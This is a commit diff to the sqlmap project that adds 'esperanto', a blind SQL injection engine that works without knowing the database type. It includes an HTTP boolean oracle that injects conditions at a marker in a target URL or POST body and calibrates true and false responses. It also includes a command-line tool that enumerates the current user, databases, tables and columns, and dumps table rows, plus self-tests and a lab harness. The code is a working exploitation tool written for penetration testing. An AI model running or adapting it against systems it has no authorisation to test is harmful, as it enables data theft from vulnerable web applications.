Adding Esperanto DBMS agnostic engine

This commit is contained in:
Miroslav Štampar 2026-07-16 18:13:32 +02:00
parent c496cf99e6
commit 57f8485279
20 changed files with 4318 additions and 9 deletions

View file

@ -314,8 +314,8 @@
<blind query="SELECT OWNER FROM (SELECT OWNER,ROWNUM AS CAP FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)) WHERE CAP=%d" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES"/>
</dbs>
<tables>
<inband query="SELECT OWNER,OBJECT_NAME FROM SYS.ALL_OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW')" condition="OWNER"/>
<blind query="SELECT OBJECT_NAME FROM (SELECT OBJECT_NAME,ROWNUM AS CAP FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW')) WHERE CAP=%d" count="SELECT COUNT(OBJECT_NAME) FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW')"/>
<inband query="SELECT OWNER,OBJECT_NAME FROM SYS.ALL_OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%'" condition="OWNER"/>
<blind query="SELECT OBJECT_NAME FROM (SELECT OBJECT_NAME,ROWNUM AS CAP FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%') WHERE CAP=%d" count="SELECT COUNT(OBJECT_NAME) FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%'"/>
</tables>
<columns>
<inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>

View file

@ -0,0 +1,26 @@
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
esperanto - a DBMS-agnostic SQL poking prototype.
Given only a boolean oracle - a callable oracle(condition) -> bool that reports
whether an arbitrary SQL boolean expression holds at the target - this discovers
the target's SQL dialect from scratch (concatenation operator, substring / length
/ char-code functions, string comparison, catalog surface) and then extracts data
char-by-char WITHOUT ever being told which DBMS is on the other end.
The candidate variants below are harvested from sqlmap's own data/xml/queries.xml
across all 31 supported DBMSes - the point is to reuse that accumulated knowledge
as a single "esperanto" the tool speaks at any backend, rather than fingerprinting
first and loading one dialect.
This is a self-contained research prototype (no sqlmap imports); run it directly
for a built-in self-test against an in-memory SQLite oracle.
"""
from .engine import Esperanto
from .engine import hostExtract
from .handler import buildHandler
from .records import Cap, ExtractResult, BulkResult, Dialect, InferenceStrategy
from .records import OracleUndecided, QueryBudgetExceeded

609
extra/esperanto/__main__.py Normal file
View file

@ -0,0 +1,609 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from .atlas import _REPL
from .engine import Esperanto, hostExtract
from .records import (
OracleUndecided, ExtractResult, QueryBudgetExceeded)
def _sqliteOracle(block=None):
"""In-memory SQLite boolean oracle for the self-test (DBMS hidden from prober).
`block` is a regex of constructs to refuse, used to force fallback modes."""
import re as _re
import sqlite3
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE users (id INTEGER, name TEXT)")
con.execute("INSERT INTO users VALUES (1, 'Admin-42')")
con.commit()
pat = _re.compile(block) if block else None
def oracle(condition):
if pat and pat.search(condition):
return False
try:
cur = con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % condition)
return cur.fetchone()[0] == 1
except sqlite3.DatabaseError:
# unsupported/rejected SQL is a valid negative capability result; only
# transport/observation failures are allowed to raise (oracle contract)
return False
return oracle
def _selftest():
# exercise every compare mode against one byte-ordered, case-sensitive backend
# (SQLite) by selectively refusing constructs - proves each extraction path
code = r"\b(ASCII|UNICODE|ORD|CODEPOINT|ASCII_VAL|ASCW|UNICODE_CODE|TO_CODE_POINTS)\("
coll = r"COLLATE|\bBINARY\s*\(|AS\s+(BLOB|bytea|VARBINARY|RAW)|NLSSORT|UTL_RAW"
hexb = r"\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR"
modes = (
("code", None),
("collation", r"(?i)(%s)" % code),
("hex", r"(?i)(%s|%s)" % (code, coll)),
("ordinal", r"(?i)(%s|%s|%s)" % (code, coll, hexb)),
)
for expected, block in modes:
esp = Esperanto(_sqliteOracle(block=block))
dialect = esp.discover()
got = esp.extract("(SELECT name FROM users WHERE id=1)")
assert dialect.compare == expected, "expected %s mode, got %s" % (expected, dialect.compare)
assert got == "Admin-42", "%s-mode extraction failed: %r" % (expected, got)
print(" %-8s mode: %-52r -> extracted %r in %d queries" % (
expected, dialect, got, esp.queryCount))
# equality mode exercised directly (charset scan)
esp = Esperanto(_sqliteOracle())
esp.discover()
esp.dialect.compare = "equality"
assert esp.extract("(SELECT name FROM users WHERE id=1)") == "Admin-42"
print(" equality mode: charset-scan extraction -> OK")
# the detective: name the backend blind
esp = Esperanto(_sqliteOracle())
esp.discover()
verdict = esp.identify()
assert verdict["product"] == "SQLite", "identify failed: %r" % verdict
print(" identify: product=%(product)r version=%(version)r dual=%(dual)s" % verdict)
# bytes-first extraction: byte-exact, encoding chosen by the caller
esp = Esperanto(_sqliteOracle())
esp.discover()
mb = "('A' || CHAR(233) || CHAR(8364))" # 'A' + U+00E9 + U+20AC, built via ASCII SQL (py2/py3-safe, no non-ASCII source)
raw = esp.extractBytes(mb)
assert raw == u"A\xe9\u20ac".encode("utf-8"), "extractBytes: %r" % raw
assert esp.extractText(mb) == u"A\xe9\u20ac"
print(" extractBytes: %r extractText: %r" % (raw, esp.extractText(mb)))
# quorum: a noisy oracle that flips/errors a minority of probes must not corrupt.
# tested across several seeds so the pass doesn't hinge on one lucky sequence.
import random as _random
for seed in (1234, 7, 99, 2026):
base = _sqliteOracle()
rng = _random.Random(seed)
def noisy(cond, _b=base, _r=rng):
roll = _r.random()
if roll < 0.12:
raise RuntimeError("transient") # 12% errors (resampled)
if roll < 0.20:
return not _b(cond) # 8% lies
return _b(cond)
esp = Esperanto(noisy, quorum=6)
esp.discover()
got = esp.extract("(SELECT name FROM users WHERE id=1)")
assert got == "Admin-42", "quorum extraction (seed %d) failed: %r" % (seed, got)
print(" quorum=6 under 20%% noisy oracle (12%% err + 8%% lies) -> 'Admin-42' across 4 seeds")
# -- integrity guards (peer-review round 4) --------------------------------
# empty/NULL are falsey; a bounded prefix (incl. limit=0) is incomplete+truncated
assert not ExtractResult("") and not ExtractResult(None)
esp = Esperanto(_sqliteOracle())
esp.discover()
zero = esp.extractResult("'abc'", limit=0)
assert zero.value == "" and zero.truncated and not zero.complete, "limit=0: %r" % zero
# an invalid expression must NOT masquerade as a complete SQL NULL
bad = esp.extractResult("NO_SUCH_FN(1)")
assert bad.value is None and not bad.is_null and not bad.complete and bad.warnings, "invalid->NULL: %r" % bad
# integer extraction must raise, not saturate
try:
esp.extractInteger("100", maximum=10)
assert False, "extractInteger saturated silently"
except OverflowError:
pass
# an unobservable oracle must FAIL CLOSED, never silently 'succeed'. two guarantees:
# (a) discovery aborts (a broken oracle can't manufacture a working dialect); while
# probing candidate rungs an unobservable probe reads False, so sanity fails ->
# RuntimeError, never a bogus discovered dialect
try:
Esperanto((lambda c: (_ for _ in ()).throw(RuntimeError("down")))).discover()
assert False, "broken oracle silently discovered a dialect"
except RuntimeError:
pass
# (b) a DATA READ never manufactures False from an unobservable probe: it raises
# OracleUndecided (the whole point - a flaky read must not corrupt a bit)
esp = Esperanto(_sqliteOracle())
esp.discover()
esp.oracle = lambda c: (_ for _ in ()).throw(RuntimeError("down")) # break it post-discovery
try:
esp.extract("(SELECT MAX(name) FROM users)")
assert False, "undecided oracle silently became data"
except OracleUndecided:
pass
# embedded/leading NUL must not truncate (whole-value verification recovers it)
import sqlite3
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (a TEXT)")
con.execute("INSERT INTO t VALUES (?)", ("A\x00B",))
con.commit()
def nulOracle(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(nulOracle)
esp.discover()
nul = esp.extractResult("(SELECT a FROM t)")
assert nul.value == "A\x00B" and nul.complete, "embedded NUL: %r" % nul
# -- round-5 adversarial regressions --------------------------------------
esp = Esperanto(_sqliteOracle(), maxlen=0)
esp.discover()
z = esp.extractResult("'abc'")
assert z.value == "" and z.truncated and not z.complete, "maxlen=0: %r" % z
esp = Esperanto(_sqliteOracle())
esp.discover()
for bad in (("-100", 10), ("100", 10)): # symmetric integer cap
try:
esp.extractInteger(bad[0], maximum=bad[1])
assert False, "int cap not enforced for %s" % bad[0]
except OverflowError:
pass
try: # None observation -> undecided
Esperanto(lambda c: None, retries=0)._ask("1=1")
assert False, "None became False"
except OracleUndecided:
pass
try: # hard query budget
Esperanto(_sqliteOracle(), max_queries=0)._ask("1=1")
assert False, "budget not enforced"
except QueryBudgetExceeded:
pass
esp = Esperanto(_sqliteOracle()) # ordered PoC refused in equality mode
esp.discover()
esp.dialect.compare = "equality"
try:
esp.poc("'A'")
assert False, "equality-mode PoC fabricated ordering"
except RuntimeError:
pass
# a UTF-16 code-unit fn returning an isolated surrogate must not be "complete"
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE s (v TEXT)")
con.execute(u"INSERT INTO s VALUES ('\U0001F642')")
con.create_function("ASCII", 1, lambda x: None if not x else (
ord(x[0]) if ord(x[0]) <= 0xFFFF else 0xD800 + ((ord(x[0]) - 0x10000) >> 10)))
con.commit()
nohex = __import__("re").compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR")
def surOracle(cond):
if nohex.search(cond):
return False
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(surOracle)
esp.discover()
sur = esp.extractResult("(SELECT v FROM s)")
assert sur.value == _REPL and not sur.complete, "isolated surrogate accepted: %r" % sur
print(" integrity: fail-closed + NULL/empty + limit0 + int-cap + budget + surrogate + PoC -> guarded")
# -- InferenceStrategy: the frozen hand-off is a *sufficient* host interface --
oracle = _sqliteOracle()
esp = Esperanto(oracle)
esp.discover()
strat = esp.strategy()
try: # immutable
strat.compare_mode = "x"
assert False, "strategy is not frozen"
except AttributeError:
pass
# extract using ONLY the strategy + oracle (no Esperanto retrieval code)
got = hostExtract(oracle, strat, "(SELECT name FROM users WHERE id=1)")
assert got == "Admin-42", "hostExtract via strategy failed: %r" % got
row = strat.asQueriesRow()
assert row["substring"] and row["length"] and row["inference"], "queries-row incomplete: %r" % row
print(" strategy: frozen + hostExtract('%s')=%r + queries.xml row rendered" % (strat.compare_mode, got))
print("SELF-TEST PASSED (all compare modes + identify + bytes + quorum + integrity + strategy)")
def _livetest(only=None, waf=False):
"""Live blind validation against real DBMS instances (dev harness, '--live').
Each backend is handed ONLY a boolean oracle - dialect-mismatch errors read as
False, the transaction rolled back per probe - and is never told which engine it
is poking. Requires the driver + a reachable instance; skips what it can't reach."""
import re as _re
SECRET = "Zagreb-Ka5tel"
block = _re.compile(r"(?i)\b(ASCII|UNICODE|ORD|CODEPOINT|ASCII_VAL|ASCW|UNICODE_CODE|CODE)\s*\(") if waf else None
def cursor(con, wrap):
def ask(cond):
if block and block.search(cond):
return False
cur = con.cursor()
try:
cur.execute(wrap % cond)
row = cur.fetchone()
return bool(row) and int(row[0]) == 1
except Exception:
try:
con.rollback()
except Exception:
pass
return False
finally:
try:
cur.close()
except Exception:
pass
return ask
def prep(con, ddl):
cur = con.cursor()
for stmt in ddl:
try:
cur.execute(stmt)
except Exception:
if hasattr(con, "rollback"):
con.rollback()
con.commit()
cur.close()
def sqlite():
import sqlite3
con = sqlite3.connect(":memory:")
prep(con, ("CREATE TABLE esp_probe (name TEXT)", "INSERT INTO esp_probe VALUES ('%s')" % SECRET))
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
def mysql():
import pymysql
con = pymysql.connect(host="127.0.0.1", port=13306, user="root", password="root", database="lab")
prep(con, ("DROP TABLE IF EXISTS esp_probe", "CREATE TABLE esp_probe (name VARCHAR(64))",
"INSERT INTO esp_probe VALUES ('%s')" % SECRET))
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
def postgres():
import psycopg2
con = psycopg2.connect(host="127.0.0.1", port=15432, user="esp", password="pass", dbname="espdb")
prep(con, ("DROP TABLE IF EXISTS esp_probe", "CREATE TABLE esp_probe (name VARCHAR(64))",
"INSERT INTO esp_probe VALUES ('%s')" % SECRET))
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
def oracle():
import oracledb
con = oracledb.connect(user="appu", password="appu", dsn="127.0.0.1:1521/FREEPDB1")
prep(con, ("BEGIN EXECUTE IMMEDIATE 'DROP TABLE esp_probe'; EXCEPTION WHEN OTHERS THEN NULL; END;",
"CREATE TABLE esp_probe (name VARCHAR2(64))", "INSERT INTO esp_probe VALUES ('%s')" % SECRET))
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END FROM DUAL")
def mssql():
import pymssql
con = pymssql.connect(server="127.0.0.1", port="11433", user="sa", password="Esp_pass123", database="master")
prep(con, ("IF OBJECT_ID('esp_probe') IS NOT NULL DROP TABLE esp_probe",
"CREATE TABLE esp_probe (name VARCHAR(64))", "INSERT INTO esp_probe VALUES ('%s')" % SECRET))
return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END")
ok = True
for name, factory in (("SQLite", sqlite), ("MySQL", mysql), ("PostgreSQL", postgres),
("Oracle", oracle), ("MSSQL", mssql)):
if only and name.lower() not in only:
continue
try:
oracle_fn = factory()
except Exception as ex:
print(" %-12s SKIP (%s)" % (name, ex))
continue
esp = Esperanto(oracle_fn)
try:
esp.discover()
got = esp.extract("(SELECT MAX(name) FROM esp_probe)")
product = esp.identify()["product"]
except Exception as ex:
print(" %-12s FAIL (%s)" % (name, ex))
ok = False
continue
passed = got == SECRET
ok = ok and passed
print(" %-12s %s product=%-12r secret=%r%s" % (
name, "PASS" if passed else "FAIL", product, got, " [WAF]" if waf else ""))
return ok
def _httpOracle(url, data=None, cookie=None, headers=None, string=None, notString=None, code=None):
"""A boolean oracle over a real HTTP target, for standalone use. The condition is
substituted at the injection marker: '[INFERENCE]' is replaced verbatim (you supply
the context, e.g. `id=1 AND [INFERENCE]`), else a single '*' is replaced with
` AND (<condition>)`.
True/false is decided by a reduced port of sqlmap's response differentiation - the
Pareto 80%: explicit --string/--not-string/--code win; otherwise it CALIBRATES from
two true (1=1) baselines + one false (1=2) and auto-picks the cheapest reliable
signal - HTTP status code, else a stable text line present in true but not false,
else a difflib similarity ratio. Two noise-killers borrowed from sqlmap make it
robust: DYNAMIC content (lines that differ between two identical true requests, e.g.
timestamps/CSRF/nonces) is stripped, and the REFLECTED injected condition is removed
from the body so it can't skew the match (sqlmap's "reflective values ... filtering
out"). Not a replacement for checkBooleanExpression - just its high-value core."""
import difflib
try: # py3
from urllib.parse import quote as _quote, urlsplit
from http.client import HTTPConnection, HTTPSConnection
except ImportError: # py2
from urllib import quote as _quote
from urlparse import urlsplit
from httplib import HTTPConnection, HTTPSConnection
if "[INFERENCE]" not in (url + (data or "")) and "*" not in (url + (data or "")):
url = url + "*" # no marker given -> inject at the end of the URL by default
print("[*] no injection marker ('*' or '[INFERENCE]') given; defaulting to end of URL: %s" % url)
# ONE kept-alive connection reused across every probe. a blind dump is thousands of
# requests; opening a fresh TCP+TLS handshake per probe (what urlopen does) is ~0.2s of
# pure handshake that dwarfs the request itself - reuse drops per-probe latency ~5-10x.
_conn = {"c": None, "key": None}
def _fresh(scheme, netloc):
return (HTTPSConnection if scheme == "https" else HTTPConnection)(netloc, timeout=30)
def fetch(cond):
if "[INFERENCE]" in (url + (data or "")): # verbatim (caller owns the context)
u_raw = url.replace("[INFERENCE]", cond)
d_raw = data.replace("[INFERENCE]", cond) if data else data
else: # '*' -> boolean AND at the mark
ins = " AND (%s)" % cond
u_raw = url.replace("*", ins, 1) if "*" in url else url
d_raw = data.replace("*", ins, 1) if (data and "*" in data) else data
# keep the '='/'&' param structure, encode the rest so spaces/metachars survive
parts = urlsplit(u_raw)
path = parts.path or "/"
if parts.query:
path += "?" + _quote(parts.query, safe="=&")
body = _quote(d_raw, safe="=&").encode("utf-8") if d_raw else None
method = "POST" if body else "GET"
hdrs = {"User-Agent": "esperanto", "Connection": "keep-alive"}
if body:
hdrs["Content-Type"] = "application/x-www-form-urlencoded"
if cookie:
hdrs["Cookie"] = cookie
for h in (headers or []):
k, _, v = h.partition(":")
hdrs[k.strip()] = v.strip()
key = (parts.scheme, parts.netloc)
for attempt in (1, 2): # reuse the socket; reconnect once if it dropped
if _conn["c"] is None or _conn["key"] != key:
if _conn["c"] is not None:
try:
_conn["c"].close()
except Exception:
pass
_conn["c"], _conn["key"] = _fresh(parts.scheme, parts.netloc), key
try:
_conn["c"].request(method, path, body, hdrs)
resp = _conn["c"].getresponse() # http.client returns 4xx/5xx too (no raise)
raw, status = resp.read(), resp.status # read fully so the socket stays reusable
return raw.decode("utf-8", "replace"), status
except Exception:
try:
_conn["c"].close()
except Exception:
pass
_conn["c"] = None # force a reconnect on the retry
return "", 0
dyn = set()
def _deReflect(body, cond):
return body.replace(cond, "") if cond else body # drop the reflected payload
def _clean(body, cond):
body = _deReflect(body, cond)
return "\n".join(ln for ln in body.split("\n") if ln not in dyn) if dyn else body
mode, wanted, base = None, None, {}
if string is not None:
mode = "string"
elif notString is not None:
mode = "notstring"
elif code is not None:
mode, wanted = "code", int(code)
else: # auto-calibrate
(t1, s1), (t2, s2), (f1, sf) = fetch("1=1"), fetch("1=1"), fetch("1=2")
dyn = set(t1.split("\n")) ^ set(t2.split("\n")) # varies between identical requests -> dynamic
tc, fc = _clean(t1, "1=1"), _clean(f1, "1=2")
if s1 == s2 and s1 != sf: # (1) HTTP status alone separates true/false
mode, wanted = "code", s1
else:
# (2) a SHORT distinctive true-only marker: the longest contiguous chunk that is
# in the true page but not the false one, capped to a "longish" string (never the
# whole document) and verified stable across BOTH true baselines
t2c = _clean(t2, "1=1")
blocks = difflib.SequenceMatcher(None, fc, tc, autojunk=False).get_opcodes()
chunks = sorted((tc[b1:b2].strip() for op, _a1, _a2, b1, b2 in blocks
if op in ("insert", "replace")), key=len, reverse=True)
wanted = None
for chunk in chunks:
marker = chunk[:64] # bounded, distinctive marker
if len(marker) >= 6 and marker in t2c and marker not in fc:
mode, wanted = "autostring", marker
break
if wanted is None: # (3) similarity ratio floor
mode, base = "ratio", {"t": tc, "f": fc}
if not string and not notString:
print("[*] calibrated oracle: %s%s" % (mode, (" (%r)" % wanted) if mode in ("code", "autostring") else ""))
def oracle(cond):
body, status = fetch(cond)
if mode == "string":
return string in body
if mode == "notstring":
return notString not in body
if mode == "code":
return status == wanted
if mode == "autostring":
return wanted in _clean(body, cond)
c = _clean(body, cond)
st = difflib.SequenceMatcher(None, c, base["t"]).quick_ratio()
sf = difflib.SequenceMatcher(None, c, base["f"]).quick_ratio()
return st >= sf
return oracle
def _report(esp, args):
"""Run the requested action(s) against a discovered target and print the results."""
print("[*] dialect: %r" % esp.dialect)
verdict = esp.identify()
print("[*] back-end: %s %s" % (verdict.get("product") or "unknown", verdict.get("version") or ""))
# scope schema/db lookups to -D, else the current database (and, for a specific table,
# the schema it actually lives in) - WITHOUT this a table that ALSO exists in a system
# schema (e.g. MySQL's mysql/information_schema 'users') merges columns and yields a
# garbage 0-row dump. mirrors the sqlmap handler's _scopeFor.
scope = args.db
if scope is None and (args.tables or args.columns or args.dump):
dbexpr = esp.dialect.identity.get("database")
try:
cur = esp.extract(dbexpr) if dbexpr else None
except Exception:
cur = None
if args.tbl and (args.columns or args.dump):
try:
scope = cur if (cur and esp.hasTable(args.tbl, cur)) else (esp.tableSchema(args.tbl) or cur)
except Exception:
scope = cur
else:
scope = cur
if scope:
print("[*] scoping to database/schema: %s" % scope)
if args.current_user:
expr = esp.dialect.identity.get("user")
print("[*] current user: %s" % (esp.extract(expr) if expr else "n/a"))
if args.current_db:
expr = esp.dialect.identity.get("database")
print("[*] current database: %s" % (esp.extract(expr) if expr else "n/a"))
if args.tables:
print("[*] fetching tables ...")
print("[*] tables: %s" % ", ".join(esp.enumerate("table", schema=scope) or ["<none>"]))
if args.columns:
if not args.tbl:
print("[!] --columns needs -T <table>")
else:
print("[*] fetching columns for '%s' ..." % args.tbl)
print("[*] columns of %s: %s" % (args.tbl, ", ".join(esp.columns(args.tbl, schema=scope) or ["<none>"])))
if args.query:
print("[*] fetching %s ..." % args.query)
print("[*] %s = %r" % (args.query, esp.extract(args.query)))
if args.dump:
if not args.tbl:
print("[!] --dump needs -T <table>")
else:
cols = [c.strip() for c in args.col.split(",")] if args.col else None
if cols is None: # enumerate columns FIRST (own phase), so the
print("[*] fetching columns for table '%s' ..." % args.tbl) # 'entries' phase below streams ROWS, not column names
cols = esp.columns(args.tbl, schema=scope) or None
print("[*] fetching entries for table '%s' ..." % args.tbl)
result = esp.dump(args.tbl, columns=cols, schema=scope)
if not result or not result["columns"]:
print("[!] could not dump %s" % args.tbl)
else:
print("[*] %s (%d rows):" % (args.tbl, len(result["rows"])))
print(" " + " | ".join(result["columns"]))
for row in result["rows"]:
print(" " + " | ".join("NULL" if v is None else v for v in row))
def main(argv=None):
"""Standalone entry point: drive the engine against a live HTTP target."""
import argparse
class _Formatter(argparse.HelpFormatter):
# show the metavar ONCE ('-H, --header HEADER', not '-H HEADER, --header HEADER'),
# like sqlmap's own help, so option/help stays on a single line
def __init__(self, prog):
argparse.HelpFormatter.__init__(self, prog, max_help_position=28)
def _format_action_invocation(self, action):
if not action.option_strings or action.nargs == 0:
return ", ".join(action.option_strings) or argparse.HelpFormatter._format_action_invocation(self, action)
metavar = self._format_args(action, action.dest.upper()) # py2/py3-portable default metavar
return "%s %s" % (", ".join(action.option_strings), metavar)
parser = argparse.ArgumentParser(
prog="esperanto", formatter_class=_Formatter,
description="DBMS-agnostic blind-SQLi enumeration engine (standalone)")
parser.add_argument("-u", "--url", help="target URL (with a '*'/'[INFERENCE]' marker)")
parser.add_argument("--data", help="POST data string")
parser.add_argument("--cookie", help="HTTP Cookie header")
parser.add_argument("-H", "--header", action="append", help="extra HTTP header (repeatable)")
parser.add_argument("--string", help="match string for a True response")
parser.add_argument("--not-string", dest="not_string", help="match string for a False response")
parser.add_argument("--code", type=int, help="HTTP code for a True response")
parser.add_argument("--banner", action="store_true", help="retrieve DBMS banner")
parser.add_argument("--current-user", action="store_true", dest="current_user", help="retrieve current user")
parser.add_argument("--current-db", action="store_true", dest="current_db", help="retrieve current database")
parser.add_argument("--tables", action="store_true", help="enumerate tables")
parser.add_argument("--columns", action="store_true", help="enumerate table columns (needs -T)")
parser.add_argument("--dump", action="store_true", help="dump table entries (needs -T)")
parser.add_argument("--sql-query", dest="query", help="run a custom scalar SQL query")
parser.add_argument("-D", dest="db", help="database/schema to enumerate")
parser.add_argument("-T", dest="tbl", help="table to enumerate")
parser.add_argument("-C", dest="col", help="columns to dump (comma-separated)")
# internal dev/test harness switches - functional but hidden from --help (--live drives the
# local-Docker DBMS livetest; --waf is a livetest-only fault-injection mode, NOT a real WAF bypass)
parser.add_argument("--live", action="store_true", help=argparse.SUPPRESS)
parser.add_argument("--waf", action="store_true", help=argparse.SUPPRESS)
parser.add_argument("--self-test", action="store_true", dest="selftest", help=argparse.SUPPRESS)
args, engines = parser.parse_known_args(argv)
if args.live:
names = [a.lower() for a in engines if not a.startswith("-")]
return 0 if _livetest(only=names or None, waf=args.waf) else 1
if args.selftest: # self-test only on EXPLICIT request
_selftest()
return 0
if not args.url: # no target and nothing to do -> show help, don't surprise
parser.print_help()
return 1
target = args.url if "://" in args.url else ("http://" + args.url) # tolerate a scheme-less URL
esp = Esperanto(_httpOracle(target, args.data, args.cookie, args.header,
args.string, args.not_string, args.code))
import sys as _sys
def _live(value): # signs of life during the (slow, blind) extraction
_sys.stdout.write("[*] retrieved: %s\n" % value)
_sys.stdout.flush()
esp._progress = _live
print("[*] discovering the back-end SQL dialect (agnostic mode) ...")
try:
esp.discover()
_report(esp, args)
except RuntimeError as ex: # unreachable/uninjectable target -> clean message, no traceback
print("[!] could not establish a working boolean oracle (%s)" % ex)
print(" check the target is reachable and injectable, and the marker/--string/--code are right")
return 1
except KeyboardInterrupt: # Ctrl-C mid-extraction -> clean stop, no traceback
print("\n[!] aborted by user")
return 1
return 0
if __name__ == "__main__":
import sys
sys.exit(main())

431
extra/esperanto/atlas.py Normal file
View file

@ -0,0 +1,431 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
Capability atlas: the candidate SQL forms Esperanto tries (best-first) to discover a
dialect blind, mined from data/xml/queries.xml across the supported DBMSes. Data only,
no logic. Each table is (name, template, ...); templates use str.format fields such as
{expr}/{a}/{b}/{code}/{col}/{x}. Source is pure ASCII - any non-ASCII character is
written as a \\uXXXX escape so it is always obvious which code point is meant.
"""
from __future__ import print_function
import binascii
def _unhexlify(value):
"""Strict py2/3 hex decode - rejects non-hex/odd-length rather than cleaning it."""
if isinstance(value, type(u"")):
value = value.encode("ascii")
return binascii.unhexlify(value)
def _isSingleUnicodeScalar(value):
"""True for exactly one Unicode scalar (incl. a py2 narrow-build surrogate pair)."""
if len(value) == 1:
return True
return (len(value) == 2 and 0xD800 <= ord(value[0]) <= 0xDBFF and
0xDC00 <= ord(value[1]) <= 0xDFFF)
# string concatenation of {a} and {b} (operator or function form)
_CONCAT = (
("pipes", "({a})||({b})"), # || : 26/31 DBMSes (ANSI)
("concat", "CONCAT({a},{b})"), # MySQL/MaxDB/HSQLDB
("plus", "({a})+({b})"), # MSSQL/Sybase
("amp", "({a})&({b})"), # MS Access
)
# 1-based substring: {len} characters of {expr} starting at {pos}
_SUBSTRING = (
("SUBSTR", "SUBSTR(({expr}),{pos},{len})"),
("SUBSTRING", "SUBSTRING(({expr}),{pos},{len})"),
("MID", "MID(({expr}),{pos},{len})"),
("SUBSTRING_FROM", "SUBSTRING(({expr}) FROM {pos} FOR {len})"),
("SUBSTRC", "SUBSTRC(({expr}),{pos},{len})"),
("substring_lc", "substring(({expr}),{pos},{len})"),
# LEFT/RIGHT composition, a fallback rung for dialects/filters exposing LEFT+RIGHT
# but not SUBSTR/SUBSTRING/MID. NOTE: this identity is exact only for len<=1 (which
# is ALL esperanto ever asks - every _sub() call reads one char), where it reduces to
# RIGHT(LEFT(x,pos),1). For len>1 past the string end it over-returns; the general
# fix needs LEN(x), which would defeat this rung's whole purpose (no length fn), so
# it is deliberately kept length-free and len=1-scoped.
("left_right", "RIGHT(LEFT(({expr}),({pos})+({len})-1),{len})"),
)
# CHARACTER count of {expr} (byte-count functions live in _BYTELEN, not here)
_LENGTH = (
("CHAR_LENGTH", "CHAR_LENGTH({expr})"),
("LENGTH", "LENGTH({expr})"),
("LEN", "LEN({expr})"),
("length_lc", "length({expr})"),
)
# single char {expr} -> its integer code point
_CHARCODE = (
("ASCII", "ASCII({expr})"),
("UNICODE", "UNICODE({expr})"),
("ORD", "ORD({expr})"),
("CODEPOINT", "CODEPOINT({expr})"),
("UNICODE_VAL", "UNICODE_VAL({expr})"), # Firebird (code point; ASCII_VAL below errors >255)
("ASCII_VAL", "ASCII_VAL({expr})"),
("ASCW", "ASCW({expr})"),
("UNICODE_CODE", "UNICODE_CODE({expr})"),
("TO_CODE_POINTS", "TO_CODE_POINTS({expr})[SAFE_OFFSET(0)]"), # BigQuery/Spanner (array-indexed)
)
# integer {code} -> single char (lets extraction build literals without quoting)
_CHARFROM = (
("CHAR", "CHAR({code})"),
("CHR", "CHR({code})"),
("NCHAR", "NCHAR({code})"),
("UNICODE_CHAR", "UNICODE_CHAR({code})"), # Firebird (code point; pairs with UNICODE_VAL)
("ASCII_CHAR", "ASCII_CHAR({code})"), # Firebird (0-255)
)
# {expr} -> uppercase, prefixless (no 0x/0h) HEX of its bytes (collation-independent; recovers case)
_HEXFN = (
("HEX", "UPPER(HEX({expr}))"), # MySQL/MariaDB/TiDB/SQLite/DB2/MaxDB/Cubrid/ClickHouse/Doris/StarRocks/Spark/Hive
("RAWTOHEX_RAW", "UPPER(RAWTOHEX(UTL_RAW.CAST_TO_RAW({expr})))"), # Oracle
("RAWTOHEX", "UPPER(RAWTOHEX({expr}))"), # H2 / HSQLDB (yields UTF-16 hex, e.g. 'q'->'0071')
("ENCODE", "UPPER(ENCODE(CONVERT_TO(({expr})::text,'UTF8'),'HEX'))"),# PostgreSQL/CockroachDB/CrateDB
("mssql_convert", "UPPER(CONVERT(VARCHAR(MAX),CONVERT(VARBINARY(MAX),CONVERT(NVARCHAR(MAX),{expr})),2))"), # MSSQL/Azure SQL: normalize to NVARCHAR so the bytes are ALWAYS UTF-16LE (CAST-to-VARBINARY of a varchar is 1-byte, of an nvarchar 2-byte - mixing the two mis-decodes); MAX = don't truncate
("BINTOSTR", "UPPER(BINTOSTR(CONVERT(VARBINARY,{expr})))"), # Sybase
("HEX_ENCODE", "UPPER(HEX_ENCODE({expr}))"), # Snowflake/Altibase (Firebird needs a VARBINARY cast)
